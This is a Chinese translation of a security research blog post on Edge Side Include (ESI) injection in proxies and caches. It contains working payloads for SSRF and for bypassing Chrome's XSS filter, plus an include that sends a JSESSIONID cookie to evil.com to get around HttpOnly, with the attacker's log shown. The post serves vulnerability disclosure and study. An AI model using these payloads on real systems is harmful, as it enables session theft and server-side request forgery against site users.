文章来源:https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection
在某次评估客户资产安全时,我们发现Edge Side Includes (ESI)的标记语言存在异常行为,这种语言在HTTP中间件中被广泛使用(例如:反向代理,均衡负载,缓存服务器和代理服务器等等)。我们发现ESI攻击可以造成SSRF,多种XSS攻击(无视HTTPOnly等cookie保护措施)和基于服务端的拒绝服务攻击。这种攻击技术被称为:ESI注入。
经进一步研究,我们发现众多流行服务都可以解析处理ESI语言,例如:Varnish, Squid Proxy, IBM WebSphere, Oracle Fusion/WebLogic, Akamai, Fastly, F5, Node.js ESI, LiteSpeed和一些特殊语言的插件。但不是所有服务都默认开启ESI处理功能,这点我们后面再谈。
ESI语言是基于XML标签的标记语言,用于改善HTTP中间件加载大量Web内容缓存时造成的性能下降。使用ESI标签可以指示反向代理服务器(或缓存服务器)获取已缓存Web页面模版的更多信息。传递给客户端的这些信息可能还来自另一台服务器(非后端服务器),该服务器可以完全缓存包含动态内容的页面。
ESI常常在存在少量动态数据而庞大的静态页面的情况下使用。开发者可以把页面的动态内容替换为ESI标签,从而实现缓存的多样化。当用户请求该页面时,代理服务器会解析处理ESI标签,获取内容,从而有效减轻后端服务器的压力。
举个例子,有一个查询天气的网站,网站会定时缓存城市天气页面的内容,如下图,可以用ESI标签代替获取动态数据的参数:
ESI语法规则非常简单,上面这个例子的HTML可能为:
<body> <b>The Weather Website</b> Weather for <esi:include src="/weather/name?id=$(QUERY_STRING{city_id})" /> Monday: <esi:include src="/weather/week/monday?id=$(QUERY_STRING{city_id})" /> Tuesday: <esi:include src="/weather/week/tuesday?id=$(QUERY_STRING{city_id})" /> […]
最早的ESI语言规范在2001就已经颁布,但每个服务商的具体使用情况各不相同。服务产品类型不同,用到的功能自然不一样。这里可以读到关于原始规范的更多信息:http://www.w3.org/TR/esi-lang 。上面有标记语言用法和常用功能。有一些服务商比如说Akamai和Oracle,它们在规范的基础上添加了一些其他功能。
HTTP中间件服务器不能正确识别ESI标签是来自上游服务器还是恶意用户,换句话说,攻击者可以注入恶意ESI标签,HTTP中间件会相信标签来自上游服务器,并且盲目解析并且转发。
当ESI解析器解析ESI标签时,只能解析原始的<
和>
(不能进行编码或者转义)。但目前Web应用通常都会转义用户输入的特殊字符来防范XSS攻击,这会影响中间件服务器对ESI标签的解析。实际上,ESI标签不是只能以HTML的方式注入在服务器内部的响应中。比如说JSON对象和CSV,开发者可以通过它们向缓存和静态数据页面添加动态参数。Fastly的博客曾发表过一篇非常棒的文章,分享了使用JSON对象构造ESI标签的方法。目前的大部分框架通常会转义所有字符,我们经常可以看见JSON对象中有HTML字符串,但它们不会被浏览器视为HTML。然而这方便了攻击者使用JSON构造ESI payload。
这种场景非常罕见,因为它通常不是ESI语言解析器的默认处理对象。最常见的攻击是ESI标签被后端服务器处理后仍原封不动地反射在响应中,再交由均衡负载或代理服务器处理解析。显然,如果清理了用户输入,编码ESI标签,那中间件服务器将不会处理它,这样可以防止XSS攻击。
可以说,ESI规范中使用最多最广泛的部分是“includes”。ESI Includes即标签,它会被代理服务或者均衡负载等处理,然后发出一个侧端HTTP请求来获取动态内容。攻击者在HTTP响应中添加一个ESI include标签就可以造成SSRF攻击,注意此时用户伪造的身份是“中间件服务器”(非应用服务器)。
举个例子,这个payload可以用于造成HTTP代理服务器的SSRF攻击:
<esi:include src="http://evil.com/ping/" />
在有HTTP回调的情况下,中间件服务器很容易受到ESI注入攻击。但是ESI可能存在多种限制,比如处理ESI的服务器不允许包含非白名单内容的主机,这样攻击者只能对白名单的服务器执行SSRF攻击。关于这点,在后续章节我会提到。下面是ESI SSRF攻击示意图:
客户端的XSS过滤的方式通常是将用户输入与页面的响应比较。GET
中参数内容在响应内容中存在时,浏览器将实施一系列方法识别反射的内容是否为XSS payload。浏览器通过启发式表现识别出payload是HTML或JavaScript后,攻击就失败了。
然而,Chrome的XSS过滤器不能识别ESI标签,这是因为ESI payload在客户端无法处理。为了演示ESI的魔幻之处,我将部分XSS payload分配给ESI引擎处理,然后打印出结果。在浏览器处理JS之前,ESI引擎会处理JavaScript然后构造出完整的payload。从而绕过了XSS过滤器的检查,下面是我的Payload:
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/> >alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
<esi:assign>
储存了一个任意变量给ESI变量。通过$(variable_name)
访问这个变量。本例中var1
值为cript
。这个值被打印出来,组成<script>
标签。返回的payload为:
<script>alert(/Chrome%20XSS%20filter%20bypass/);</script>
实际情况并不是所有ESI产品都支持自定义ESI变量。但是,如果可以使用“includes”,则可以尝试指向某个包含XSS payload的外部域。下面是利用ESI includes实现SSRF-XSS攻击的一个简单的例子:
poc.html:
<script>alert(1)</script>
注入包含该页面的ESI标签:
GET /index.php?msg=<esi:include src="http://evil.com/poc.html" />
由于SSRF,受害服务器将访问poc.html并且反射在页面,然后造成DOM型XSS。
根据实际需要,像代理服务器和均衡负载这样的HTTP中间件通常可以获取网站的HTTP请求和响应。当然,这也包括浏览器或服务器发送的所有cookie值。开发人员可以通过ESI引擎引用cookies,根据cookies的状态来灵活变通,实现其他功能。
防御以JavaScript方式窃取cookie的一般方法是使用HttpOnly标志。开发人员创建cookie时可开启该标志,开启后将拒绝JavaScript引擎访问cookie,从而阻止通过XSS窃取cookie。但是ESI是在服务器端处理,我们可以在上游服务器传递给中间件服务器时引用cookie。通过ESI includes提取出cookie,想象一下,ESI引擎会如何处理下面这个payload:
<esi:include src="http://evil.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
查看我们控制的evil.com 的HTTP日志文件:
127.0.0.1 evil.com - [08/Mar/2018:15:20:44 - 0500] "GET /?cookie=bf2fa962b7889ed8869cadaba282 HTTP/1.1" 200 2 "-" "-"
至此,绕过HttpOnly窃取Cookie也实现了。
下一部分我会在真实的案例中分析ESI注入的差异,敬请期待!
转自先知社区
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.